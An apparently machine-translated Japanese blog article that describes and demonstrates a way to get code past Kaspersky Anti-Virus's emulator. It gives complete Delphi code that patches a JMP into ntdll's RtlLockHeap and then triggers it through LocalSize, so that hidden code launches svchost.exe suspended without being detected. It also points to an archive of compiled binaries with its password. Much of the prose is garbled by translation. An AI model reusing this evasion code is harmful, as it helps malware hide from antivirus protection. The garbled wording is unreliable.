現在、世界中でますます多くのウイルスが作成されていますが、その量は検出することが不可能です。 したがって、「クラウドネットワーク」とヒューリスティックコードアナライザーの最新のテクノロジーは、アナリストがウイルス対策データベースにサンプルを追加する前に、まったく新しい脅威から保護するように設計されています。 
      
        
        
        
      
    
      
        
        
        
      
     すべてのシステムに、遅かれ早かれ出てくる穴のペアが常にあることは秘密ではありません。 プログラマーのエラーが原因の場合もあれば、virmakerテクノロジーの開発が原因の場合もあります。 この記事では、Kaspersky Anti-Virusの最新バージョンでエミュレーターをバイパスする方法の1つを紹介します。 
      
        
        
        
      
    
      
        
        
        
      
     理論 
      
        
        
        
      
     一般的なウイルス対策のエミュレータとは何ですか?なぜ必要なのですか? 答えは非常に簡単です-ほとんどすべてのマルウェアは暗号化され、さまざまな暗号化機能とプロテクターによってパッケージ化されます。ディスク上のファイルを確認しながら、エミュレーターは仮想マシン上のテスト済み実行可能ファイルを「ねじり」、必要なコードに徐々に「取得」します。いずれかの発見的方法。 
      
        
        
        
      
    
      
        
        
        
      
     私のプログラムの開発中に、Kaspersky Anti-Virusが「 
HEUR:Trojan.Win32.Generic 」のようにezhnikで常に呪いをかけている問題に遭遇しましたが、その中に悪意のあるものは
見当たりませんでした。 例外の方法により、プロセスの非表示開始のフラグがパラメーターに設定されている場合、ウイルス対策はCreateProcess(...)関数によるプロセスの作成を誓うことが明らかになりました。 これから行くところはなかったので、特に私自身が興味を持っていたので、コードを実行するためのさまざまなオプションをソートする必要がありました。 結果はすぐに現れました-数時間でエミュレータに対抗する3つの方法が見つかりました。私の意見では、API関数をチェックする脆弱性である最も興味深いものを見てみましょう。 
      
        
        
        
      
    
      
        
        
        
      
     エミュレーターは、テストされたアプリケーションが行うwin api呼び出しのみをチェックしますが、検証済みのAPIを呼び出す他のapiを分析するかどうかは判明しました。 これが最適化のために行われたのか、開発者の単純な監視なのか-誰にもわかりません。 
      
        
        
        
      
    
      
        
        
        
      
     わかりやすくするために、小さな図を示します。左側は実際の環境でのプログラムの実行、右側はウイルス対策エミュレーターの環境でのコードのチェックの実行です。 
      
        
        
        
      
     
      
        
        
        
      
    
      
        
        
        
      
     練習する 
      
        
        
        
      
     例として、プログラムで検出されたコードの一部を示します。 前述のように、コードは何も問題はなく、停止状態でプロセスを開始するだけです。 デルファイで書かれました。 
      
        
        
        
      
    
      
        
        
        
      
     procedure ProcessBadCode(); 
      
        
        
        
      
     var 
      
        
        
        
      
     StartInfo : TStartupInfoA; 
      
        
        
        
      
     ProcInfo : TProcessInformation; 
      
        
        
        
      
     begin 
      
        
        
        
      
     ZeroMemory(@StartInfo, SizeOf(TStartupInfoA)); 
      
        
        
        
      
     StartInfo.cb := SizeOf(TStartupInfoA); 
      
        
        
        
      
     CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); 
      
        
        
        
      
     end; 
      
        
        
        
      
     
      
        
        
        
      
     begin 
      
        
        
        
      
     ProcessBadCode(); 
      
        
        
        
      
     end.
      
      
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
     
      
        
        
        
      
     
      
        
        
        
      
     エミュレータの鼻の下で目に見えないコードを実行するために必要なのは、任意のAPIにフックし、気付かないはずのコードに実行を転送し、最初のAPIを呼び出してそのコードで呼び出す別のAPIを見つけることです。 次の例では、「 
ntdll.dll 」の「 
RtlLockHeap(...) 」および「 
kernel32.dll 」の「 
LocalSize(...) 」の
関数を使用しました 。 多くの人がすでに理解しているように-2番目は最初の原因です。 フックを「 
RtlLockHeap(...) 」に設定すると、呼び出しチェーンは次のようになります。 
      
        
        
        
      
      MyCode(...) -> 
LocalSize(...) -> 
RtlLockHeap(...) -> 
BadCode(...) 。 
      
        
        
        
      
     検出ウイルス対策はなくなります。 
      
        
        
        
      
    
      
        
        
        
      
     var 
      
        
        
        
      
     Initialized : Boolean; 
      
        
        
        
      
     procedure ProcessBadCode(); 
      
        
        
        
      
     var 
      
        
        
        
      
     StartInfo : TStartupInfoA; 
      
        
        
        
      
     ProcInfo : TProcessInformation; 
      
        
        
        
      
     begin 
      
        
        
        
      
     if not Initialized then //      ,     -  
      
        
        
        
      
     begin 
      
        
        
        
      
     Initialized := True; //   ,     
      
        
        
        
      
     ZeroMemory(@StartInfo, SizeOf(TStartupInfoA)); 
      
        
        
        
      
     StartInfo.cb := SizeOf(TStartupInfoA); 
      
        
        
        
      
     CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); 
      
        
        
        
      
     Sleep(5000); //      
      
        
        
        
      
     TerminateProcess(ProcInfo.hProcess, 0); 
      
        
        
        
      
     ExitProcess(0); //   
      
        
        
        
      
     end; 
      
        
        
        
      
     Sleep(INFINITE); //         
      
        
        
        
      
     end; 
      
        
        
        
      
     
      
        
        
        
      
     procedure ProcessStartCode(); 
      
        
        
        
      
     procedure WriteJmp(AddressFrom, AddressTo : Integer); //  jmp    
      
        
        
        
      
     var 
      
        
        
        
      
     Protect, Stuff : Cardinal; 
      
        
        
        
      
     begin 
      
        
        
        
      
     VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect); 
      
        
        
        
      
     PByte(AddressFrom)^ := $E9; 
      
        
        
        
      
     PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5; 
      
        
        
        
      
     VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff); 
      
        
        
        
      
     end; 
      
        
        
        
      
     var 
      
        
        
        
      
     NativeFunc : procedure(); 
      
        
        
        
      
     begin 
      
        
        
        
      
     //     
      
        
        
        
      
     @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap'); 
      
        
        
        
      
     //        BadCode 
      
        
        
        
      
     WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode)); 
      
        
        
        
      
     //  ,    ... 
      
        
        
        
      
     LocalSize(0); 
      
        
        
        
      
     end; 
      
        
        
        
      
     
      
        
        
        
      
     begin 
      
        
        
        
      
     ProcessStartCode(); 
      
        
        
        
      
     end.
      
      
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
     
      
        
        
        
      
     
      
        
        
        
      
     結論 
      
        
        
        
      
     ゴールデンルール:「信頼-しかし検証!」残念ながら、署名済みプログラムの既存の「信頼」ポリシーは既に失敗しています。これらは、Stuxnetウイルスとアドビの脆弱性の最近の悪用の両方で実装された例です。 私の小さな経験が示しているように、最も人気のあるアンチウイルスの1つのヒューリスティックコードアナライザーも同じ問題の影響を受けます。  Kasperskyヒューリスティックアナライザーがこのファイルの脅威に気づいた
2つのうちの1つであり (名誉と賞賛である)、中国のJiangminの検出が明確な誤検知であることが特に重要です。 すべてが非常に単純に決定されたことは残念です... 
      
        
        
        
      
    
      
        
        
        
      
     これはすべて、オペレーター側の安全の基本と脅威を抑制するための彼の積極的な行動を理解することなく、単一のソフトウェア製品が適切な保護を提供しないという紛れもない真実を再確認します。 
      
        
        
        
      
    
      
        
        
        
      
     さらに、この記事で説明した
コンパイル済みの実行可能ファイルとソースコードのセットがレイアウトされています。 アーカイブのパスワードは
elcrabeです。 
      
        
        
        
      
    
      
        
        
        
      
     記事の準備にご協力
いただいたユーザー
gjfに感謝
いたします。